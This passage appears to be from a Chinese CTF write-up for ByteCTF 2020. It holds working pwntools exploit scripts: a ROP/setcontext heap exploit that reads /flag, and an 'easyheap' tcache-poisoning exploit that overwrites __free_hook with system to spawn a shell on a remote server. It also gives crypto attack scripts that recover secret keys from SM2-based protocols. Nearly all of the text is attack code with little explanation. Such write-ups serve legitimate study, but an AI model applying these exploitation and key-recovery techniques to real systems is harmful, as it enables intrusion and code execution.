shoot(5)
load(7)
shoot(1)
load(5)
shoot(1)
#heap_base = leak_address()-0x361
heap_base = u64((p.recvline()[10:16]+2*b'\x00'))-0x461
print(hex(heap_base))
shoot(1)
for i in range(7):
add(0x20,'a')
add(0x20,'\x90\x90')
add(0x20,'bbbbbbbb')
add(0x20,'bbbbbbbb')
set_context_addr = libc_addr+libc.sym['setcontext']+61
add(0x20,p64(libc_addr+libc.sym['__free_hook'])) #13
load(0)
load(1)
load(2)
shoot(3)
p_rdi_r = 0x0000000000026b72 + libc_addr
p_rsi_r = 0x0000000000027529 + libc_addr
p_rax_r = 0x000000000004a550 + libc_addr
p_rdx_r12_r = 0x000000000011c371 + libc_addr
syscall = 0x000000000002584d + libc_addr
ret = 0x0000000000025679 + libc_addr
flag_str_address = heap_base + 0x5e0
flag_w_address = heap_base + 0x4d0
orw_address = heap_base + 0x6f0
frame_address = heap_base + 0x1e0 + 0x10
payload = b'/flag\x00\x00\x00'+p64(heap_base+0x5d0)+p64(set_context_addr)+b"\x00"*(0xa0-0x28) + p64(orw_address)+p64(ret)
orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
libc_addr+libc.sym['open'],
p_rdi_r, 3,
p_rsi_r, flag_w_address,
p_rdx_r12_r, 0x40, 0,
libc_addr+libc.sym['read'],
p_rdi_r, 1,
p_rsi_r, flag_w_address,
p_rdx_r12_r, 0x40, 0,
libc_addr+libc.sym['write']
])
add(0x100,payload) #0
add(0x100,orw) #1
#0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic = 0x0000000000154930+libc_addr
add(0x10,p64(magic)) #2
load(0)
shoot(1)
ia()
easyheap
add函数里面可以先输入一个任意值的size,再输入一个合法的size,得到任意地址写null,范围是0xffff。用任意写null,打tcache struct
exp:
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='easyheap'
libc_name='libc-2.31.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('123.57.209.176',30774)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla(">> ",str(num))
def add(size,content):
cho(1)
sla("Size: ",str(size))
sla("Content: ",content)
def add1(fake_size,size,content):
cho(1)
sla("Size: ",str(fake_size+0xfffa-9))
sla("Size: ",str(size))
sla("Content: ",content)
def show(idx):
cho(2)
sla("Index: ",str(idx))
def delete(idx):
cho(3)
sla("Index: ",str(idx))
add(0x50,'aaaa') #0
add(0x40,'aaaa') #1
add(0x50,'bbbb') #2
add(0x50,'cccc') #3
delete(2)
delete(3)
add1(-0x10*5,0x40,'aaaaaa') #2
add(0x50,'aa') #3
add1(-6,0x58,'a'*0x56+'bb') #4
show(4)
ru('bb')
heap_base = leak_address()-0x10
print(hex(heap_base))
delete(0)
delete(1)
delete(2)
delete(3)
add(0x60,'aaa') #0
add(0x60,'aaa') #1
add(0x70,'aaa') #2
add(0x60,'aaa') #3
add(0x60,'aaa') #5
delete(3)
delete(5)
add1(-0x10*6,0x70,'bbb') #3
add(0x60,'bbb') #5
delete(3)
delete(2)
add(0x60,p64(heap_base+0x10)*9) #2
add(0x70,'aa') #3
delete(0)
add(0x80,'aa') #0
add1(-0x10*(0x70-1),0x10,'aa') #6
delete(1)
delete(5)
delete(6)
add(0x40,'aa') #1
add(0x40,p64(heap_base+0x710-0x40)) #5
add(0x50,'\n') #6
delete(1)
add(0x70,'\x01\x00'+'\x03\x00'*6+'\x07\x00') #1
z()
delete(0)
add1(-1,0x50,'a'*(0x50-2)+'bb') #0
show(0)
ru('bb')
libc_base = leak_address()-0x1ebbe0
print(hex(libc_base))
delete(4)
add1(-(0x4a8-0x10),0x10,'dddd') #4
delete(5)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x40,p64(free_hook))
add(0x40,'/bin/sh')
delete(4)
add(0x40,p64(system))
delete(5)
ia()
Reverse
qiao
打开main函数,发现加了很多花指令,去掉后发现是ollvm,勉强能看,然后主要有个check函数
跟进去后发现十分的冗长,是个类似VM的东西,然后总的看一遍,看出来最后有个奇怪的函数指针,直接在那里下断点,然后每次都会调用不同的函数,调用完之后会返回其中一些结果,比如奇怪的base64接出来是鼓励的话云云,继续跟踪就会发现再一次函数调用之后返回了奇怪的BYTE数据,然后拿去交发现就是flag。。。。。。。。。。。。。
Crypto
Cry1
发现对于每次操作有$num_i r_i = c_i + k_i secret$, 当$k_i = 1$时,有$secret \equiv c_i \mod num_i$,故可以构造CRT求解,只需要通过判断$c_i$是否被$num_i$整除,可排除$k_i = 0$情况,之后只需碰撞出32个$k=1$即可,大概跑50多次就行了,exp如下:
from winpwn import *
from hashlib import sha256
from tqdm import tqdm
from Crypto.Util.number import *
from gmpy2 import *
def GCRT(mi, ai):
assert (isinstance(mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a) in zip(mi[1:], ai[1:]):
d = int(GCD(curm, m))
c = a - cura
assert (c % d == 0)
K = c // d * inverse(curm // d, m // d)
cura += curm * K
curm = curm * m // d
cura %= curm
return cura % curm, curm
def proof_of_work(sh):
sh.recvuntil("SHA256(\"")
nonce = sh.recv(8)
sh.recvuntil('with \"00000\"')
for a in tqdm(range(0x30, 0x7f)):
for b in range(0x30, 0x7f):
for c in range(0x30, 0x7f):
for d in range(0x30, 0x7f):
rest = chr(a) + chr(b) + chr(c) + chr(d)
m = (nonce + rest).encode("Latin-1")
if sha256(m).digest().hex().startswith("00000"):
sh.sendline(rest)
sh.recvuntil('again...God bless you get it...')
return
def io(sh, num):
sh.sendline('god')
sh.sendline(str(num))
tmp = sh.recvuntil('\n')
if len(tmp) > 100:
return int(tmp)
else:
return int(sh.recvuntil('\n'))
primes = []
tmp = 2**32 - 950
while True:
tmp = next_prime(tmp)
assert tmp.bit_length() == 32
primes.append(int(tmp))
if len(primes) >= 33:
break
for i in range(2**10):
sh = remote("182.92.153.117", 30101)
proof_of_work(sh)
length = 33
c = []
index = 0
for i in range(63):
tmp = io(sh, primes[index])
if tmp % primes[index] != 0:
c.append(-1 * tmp)
index += 1
if index >= length:
break
if index < length:
continue
secret = GCRT(primes, c)[0]
sh.sendline('bless')
sh.sendline(str(secret))
tmp = sh.recvuntil('\n')
if len(tmp) < 5:
tmp = sh.recvuntil('\n')
if 'WRONG' in tmp:
sh.close()
continue
print(i)
sh.interactive()
Cry2
分析可以构造 $B = (H(m)+1)G \Rightarrow encK = H(kcG) = H(A-H(m)G)$, 故做签名的sk为$flag \quad XOR \quad Cprime$,使$Cprime = cipher = flag \quad XOR \quad private_key$, 则对s,e 有$s \equiv r - e private_key \mod (n)$,即有$rG =sG + e*pk$,又$rG.x = e$,故可做verify判断,这里考虑可以诸位爆破,从低位对$Cprime$ 诸位取反,则最终得到的sk为private_key某一位取反后的值,即$sk = private_key \pm 2^i$,通过verify即可判断为加还是减,即可判断private_key那一位为0/1,256次后得到private_key,再与cipher异或即得到flag,exp如下:
from winpwn import *
from Crypto_tools import *
from gmssl import sm3, func
from binascii import a2b_hex, b2a_hex
sm2p256v1_ecc_table = {
'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' + 'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
}
class APAKE(object):
def __init__(self, hashed_pwd, pubkey):
self.ecc_table = sm2p256v1_ecc_table
self.para_len = len(self.ecc_table['n'])
self.ecc_a3 = (int(self.ecc_table['a'], base=16) + 3) % int(self.ecc_table['p'], base=16)
self.hashed_pwd = hashed_pwd
self.K = None
self.public_key = pubkey
def sm3_hash_str(self, msg):
return sm3.sm3_hash(func.bytes_to_list(msg.encode()))
def send_client(self, kc_str):
kc = int(kc_str, 16)
hpi = int(self.hashed_pwd, 16)
a = (kc + hpi) % int(self.ecc_table['n'], base=16)
A = self._kg(a, self.ecc_table['g'])
return A
def prove_client(self, password, kc_str, A, B, c_prime):
kc = int(kc_str, 16)
hpi = int(self.hashed_pwd, 16)
n_sub_hpi = (int(self.ecc_table['n'], base=16) - hpi) % int(self.ecc_table['n'], base=16)
n_sub_hpi_G = self._kg(n_sub_hpi, self.ecc_table['g'])
print('N_H(M) ->', n_sub_hpi_G)
B_sub_hpi_G = self._add_point(B, n_sub_hpi_G)
B_sub_hpi_G = self._convert_jacb_to_nor(B_sub_hpi_G)
print('B_H(M) ->', B_sub_hpi_G)
self.K = self._kg(kc, B_sub_hpi_G)
enc_K = self.sm3_hash_str(self.K)
print('K ->', enc_K)
sk = '%064x' % (int(c_prime, 16) ^ int(password, 16) ^ int(enc_K, 16))
transcript = A + B + c_prime
signature = self._sign(transcript, sk)
return signature
def _sign(self, data, sk):
k_str = func.random_hex(len(self.ecc_table['n']))
k = int(k_str, 16) % int(self.ecc_table['n'], base=16)
R = self._kg(k, self.ecc_table['g'])
x1 = R[0:self.para_len]
e_str = self.sm3_hash_str(x1 + data)
e = int(e_str, 16)
d = int(sk, 16)
s = (k - d * e) % int(self.ecc_table['n'], base=16)
return '%064x%064x' % (s, e)
def verify(self, data, pk, signature, adjust):
s = int(signature[0:self.para_len], 16)
e = int(signature[self.para_len:2 * self.para_len], 16)
sG = self._kg((s-adjust*e) % int(self.ecc_table['n'], base=16), self.ecc_table['g'])
eP = self._kg(e, pk)
R = self._add_point(sG, eP)
R = self._convert_jacb_to_nor(R)
x1 = R[0:self.para_len]
e_str = self.sm3_hash_str(x1 + data)
return e == int(e_str, 16)
def _kg(self, k, Point):
if (k % int(self.ecc_table['n'], base=16)) == 0:
return '0' * 128
Point = '%s%s' % (Point, '1')
mask_str = '8'
for i in range(self.para_len - 1):
mask_str += '0'
mask = int(mask_str, 16)
Temp = Point
flag = False
for n in range(self.para_len * 4):
if flag:
Temp = self._double_point(Temp)
if (k & mask) != 0:
if flag:
Temp = self._add_point(Temp, Point)
else:
flag = True
Temp = Point
k = k << 1
return self._convert_jacb_to_nor(Temp)
def _double_point(self, Point):
l = len(Point)
len_2 = 2 * self.para_len
if l < self.para_len * 2:
return None
else:
x1 = int(Point[0:self.para_len], 16)
y1 = int(Point[self.para_len:len_2], 16)
if l == len_2:
z1 = 1
else:
z1 = int(Point[len_2:], 16)
T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)
T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)
T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)
T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)
T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)
T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)
T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)
T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)
T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)
T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)
z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)
T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)
if (T5 % 2) == 1:
T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(self.ecc_table['p'], base=16)
else:
T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)
y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
return form % (x3, y3, z3)
def _add_point(self, P1, P2):
if P1 == '0' * 128:
return '%s%s' % (P2, '1')
if P2 == '0' * 128:
return '%s%s' % (P1, '1')
len_2 = 2 * self.para_len
l1 = len(P1)
l2 = len(P2)
if (l1 < len_2) or (l2 < len_2):
return None
else:
X1 = int(P1[0:self.para_len], 16)
Y1 = int(P1[self.para_len:len_2], 16)
if l1 == len_2:
Z1 = 1
else:
Z1 = int(P1[len_2:], 16)
x2 = int(P2[0:self.para_len], 16)
y2 = int(P2[self.para_len:len_2], 16)
T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)
T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)
T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)
T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)
T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)
Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)
X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)
T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)
T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)
Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
return form % (X3, Y3, Z3)
def _convert_jacb_to_nor(self, Point):
len_2 = 2 * self.para_len
x = int(Point[0:self.para_len], 16)
y = int(Point[self.para_len:len_2], 16)
z = int(Point[len_2:], 16)
z_inv = pow(z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))
z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)
z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)
x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)
y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)
z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)
if z_new == 1:
form = '%%0%dx' % self.para_len
form = form * 2
return form % (x_new, y_new)
else:
return None
def assit(self, A):
hpi = int(self.hashed_pwd, 16)
n_sub_hpi = (-1 * hpi) % int(self.ecc_table['n'], base=16)
rG = self._convert_jacb_to_nor(self._add_point(A, self._kg(n_sub_hpi, self.ecc_table['g'])))
print('fake rG ->', rG)
c_prime = self.sm3_hash_str(rG)
return c_prime
Hash_m = 0x53b9edeb45a1175bad0ba15381a8676dff3611ad90629bf8fe0bae2f48d4a31d
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
pk = '1f719bef8a35ec64ac88c0d4e5909201326fb3a84e39f45acc8dd34a8ae83ea595a8e7c877cd817204a1760b7dff10a34d50c3de4e48122aaaaed45a76752cd4'
cipher = 0x1cd3018bd12e647f91a19f02ce460685bd5c13eb2d7253da549baf62aa943da2
cipher_bin = bin(cipher)[2:].rjust(256, '0')
apake = APAKE(hashed_pwd=hex(Hash_m)[2:], pubkey=pk)
flag = ''
for i in range(256):
p = remote('182.92.153.117', 30102)
p.recvuntil('A = ')
A = hex(int(p.recvuntil('\n'), 16))[2:].rjust(128, '0')
p.recvuntil('PublicKey = ')
tmp_pk = hex(int(p.recvuntil('\n'), 16))[2:].rjust(128, '0')
p.recvuntil('Cipher = ')
tmp_cipher = int(p.recvuntil('\n'), 16)
p.recvuntil('B = ?')
B = 'ed5794bb9114317bb0a502b82d3705216a325a2e15810bff91b8df5ad59d0e333e908d589d5ebb0ee2727768e81147d81f640d9d16a149282bd3fd20c5dbc895'
p.send(B + '\n')
p.recvuntil('c_prime = ?')
balance = apake.assit(A)
check = int(balance, 16) ^ cipher ^ int(('0' * (255 - i) + '1').ljust(256, '0'), 2)
c_prime = hex(check)[2:]
p.send(c_prime + '\n')
p.recvuntil('Signature = ')
tmp_signature = hex(int(p.recvuntil('\n'), 16))[2:].rjust(128, '0')
data = A + B + c_prime
if apake.verify(data, pk, tmp_signature, 2**i):
flag = flag + '1'
else:
flag = flag + '0'
p.close()
print(long_to_bytes(int(flag[::-1], 2) ^ cipher))
Cry3
在sign中传入'0' (64 3 - 1) + '1',可以使返回值为sks,又有$sk \equiv pks^{-1} sks^{-1} -1 \mod n$, 即得到sk,再任取一个素数T(较小),使$r \equiv (e + (TG).x) \mod n$, 则满足check2,使$s \equiv (T-rsk) (sk+1)^{-1} \mod n$, 则满足check1,则可以通过verify,exp如下:
from Crypto.Util.number import *
from tqdm import *
from winpwn import *
from gmssl import func, sm2
sm2p256v1_ecc_table = {
'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' +
'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
}
n = 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123'
G = '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' \
'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0'
def sign(tsm2):
data = func.random_hex(len(n))
k1_str = func.random_hex(len(n))
print(tsm2.send_p1(data, k1_str))
backdoor = input('backdoor:').strip()
result = tsm2.output_p1(k1_str, backdoor)
print(result)
def verify(tsm2):
message = input('msg:').strip().encode().strip(b'\x00')
sign = input('sign:').strip().encode().strip(b'\x00')
check = tsm2.verify(sign, message)
if check is True and message == b'Hello, Welcome to ByteCTF2020!':
print(FLAG)
else:
print(check)
class TSM2(object):
def __init__(self, sk):
ecc_table = sm2p256v1_ecc_table
self.ecc_table = ecc_table
self.n = int(ecc_table['n'], 16)
self.para_len = len(ecc_table['n'])
self.ecc_a3 = (int(ecc_table['a'], base=16) + 3) % int(ecc_table['p'], base=16)
self.sk = int(sk, 16)
self.pk = self._kg(self.sk, ecc_table['g'])
self.sks = int(func.random_hex(self.para_len), 16)
self.pks = pow((self.sk + 1) * self.sks, self.n - 2, self.n) % self.n
def send_p1(self, data, k1_str):
e = int(data, 16)
k1 = int(k1_str, 16)
k1 = k1 % self.n
R1 = self._kg(k1, self.ecc_table['g'])
return '%064x%0128s' % (e, R1)
def output_p1(self, k1_str, r_s2_s3):
r = int(r_s2_s3[0:self.para_len], 16)
s2 = int(r_s2_s3[self.para_len:2 * self.para_len], 16)
s3 = int(r_s2_s3[2 * self.para_len:], 16)
k1 = int(k1_str, 16)
d1 = self.sks
s = (d1 * k1 * s2 + d1 * s3 - r) % self.n
if s == 0 or s == (self.n - r):
return None
return '%064x%064x' % (r, s)
def verify(self, Sign, data):
r = int(Sign[0:self.para_len], 16)
s = int(Sign[self.para_len:2 * self.para_len], 16)
e = int(data.hex(), 16)
t = (r + s) % self.n
if t == 0:
return 0
P1 = self._kg(s, self.ecc_table['g'])
P2 = self._kg(t, self.pk)
if P1 == P2:
P1 = '%s%s' % (P1, 1)
P1 = self._double_point(P1)
else:
P1 = '%s%s' % (P1, 1)
P1 = self._add_point(P1, P2)
P1 = self._convert_jacb_to_nor(P1)
x = int(P1[0:self.para_len], 16)
return r == ((e + x) % self.n)
def _kg(self, k, Point):
if (k % self.n) == 0:
return '0' * 128
Point = '%s%s' % (Point, '1')
mask_str = '8'
for i in range(self.para_len - 1):
mask_str += '0'
mask = int(mask_str, 16)
Temp = Point
flag = False
for n in range(self.para_len * 4):
if flag:
Temp = self._double_point(Temp)
if (k & mask) != 0:
if flag:
Temp = self._add_point(Temp, Point)
else:
flag = True
Temp = Point
k = k << 1
return self._convert_jacb_to_nor(Temp)
def _double_point(self, Point):
l = len(Point)
len_2 = 2 * self.para_len
if l < self.para_len * 2:
return None
else:
x1 = int(Point[0:self.para_len], 16)
y1 = int(Point[self.para_len:len_2], 16)
if l == len_2:
z1 = 1
else:
z1 = int(Point[len_2:], 16)
T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)
T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)
T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)
T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)
T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)
T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)
T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)
T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)
T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)
T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)
z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)
T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)
if (T5 % 2) == 1:
T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(self.ecc_table['p'], base=16)
else:
T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)
y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
return form % (x3, y3, z3)
def _add_point(self, P1, P2):
if P1 == '0' * 128:
return '%s%s' % (P2, '1')
if P2 == '0' * 128:
return '%s%s' % (P1, '1')
len_2 = 2 * self.para_len
l1 = len(P1)
l2 = len(P2)
if (l1 < len_2) or (l2 < len_2):
return None
else:
X1 = int(P1[0:self.para_len], 16)
Y1 = int(P1[self.para_len:len_2], 16)
if l1 == len_2:
Z1 = 1
else:
Z1 = int(P1[len_2:], 16)
x2 = int(P2[0:self.para_len], 16)
y2 = int(P2[self.para_len:len_2], 16)
T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)
T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)
T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)
T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)
T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)
Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)
X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)
T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)
T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)
Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
return form % (X3, Y3, Z3)
def _convert_jacb_to_nor(self, Point):
len_2 = 2 * self.para_len
x = int(Point[0:self.para_len], 16)
y = int(Point[self.para_len:len_2], 16)
z = int(Point[len_2:], 16)
z_inv = pow(z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))
z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)
z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)
x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)
y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)
z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)
if z_new == 1:
form = '%%0%dx' % self.para_len
form = form * 2
return form % (x_new, y_new)
else:
return None
p = remote('182.92.153.117', 30103)
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
Gx = 0x32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7
p.recvuntil('pk:')
pk = p.recvuntil('\n')[:-1]
p.recvuntil('pks:')
pks = p.recvuntil('\n')[:-1]
p.recvuntil('op:')
p.sendline('sign')
p.recvuntil('backdoor:')
p.sendline('0' * (64 * 3 - 1) + '1')
p.recvuntil('0' * 64)
sks = p.recv(64)
sk = (inverse(int(pks, 16), n) * inverse(int(sks, 16), n) - 1) % n
tsm2 = TSM2(hex(sk)[2:])
data = b'Hello, Welcome to ByteCTF2020!'
e = int(data.hex(), 16)
T = 0x10001
Tx = int(tsm2._kg(T, tsm2.ecc_table['g'])[:64], 16)
r = (e + Tx) % n
s = ((T - r * sk) * inverse(sk+1, n)) % n
print('Check:', r == (e + Tx) % n, T == (s + (s+r) * sk) % n)
Sign = hex(r)[2:] + hex(s)[2:]
p.recvuntil('op:')
p.sendline('verify')
p.recvuntil('msg:')
p.sendline(data.decode())
p.recvuntil('sign:')
p.sendline(Sign)
p.interactive()